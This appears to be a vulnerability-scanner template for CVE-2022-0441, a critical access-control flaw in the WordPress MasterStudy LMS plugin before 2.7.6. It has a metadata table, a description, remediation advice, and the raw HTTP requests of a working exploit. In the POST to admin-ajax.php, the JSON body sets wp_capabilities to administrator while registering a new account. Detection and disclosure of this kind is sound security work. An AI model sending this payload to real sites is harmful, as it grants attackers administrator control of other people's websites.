| Title | MasterStudy LMS <2.7.6 - Improper Access Control |
|---|---|
| Author | dwisiswant0,theamanrawat |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially compromising user data and system integrity. |
| Remediation | Upgrade to the latest version of the MasterStudy LMS plugin (2.7.6 or higher) to fix the improper access control issue. |
| CVSS Score | 9.8 |
| EPSS Score | 0.81347 |
| CVE ID | CVE-2022-0441 |
| CWE ID | CWE-269,NVD-CWE-Other |
| Tags | cve2022 cve wordpress wp-plugin wpscan wp unauth stylemixthemes vkev vuln |
WordPress MasterStudy LMS plugin before 2.7.6 is susceptible to improper access control. The plugin does not validate some parameters given when registering a new account, which can allow an attacker to register as an admin, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce=YcOngX HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10
Connection: close
Content-Length: 331
Content-Type: application/json
Origin: http://www.victim.com
Accept-Encoding: gzip
{"user_login":"ZbrPOQ","user_email":"pabxe3@klehb2.com","user_password":"UTJZDlgB","user_password_re":"UTJZDlgB","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}
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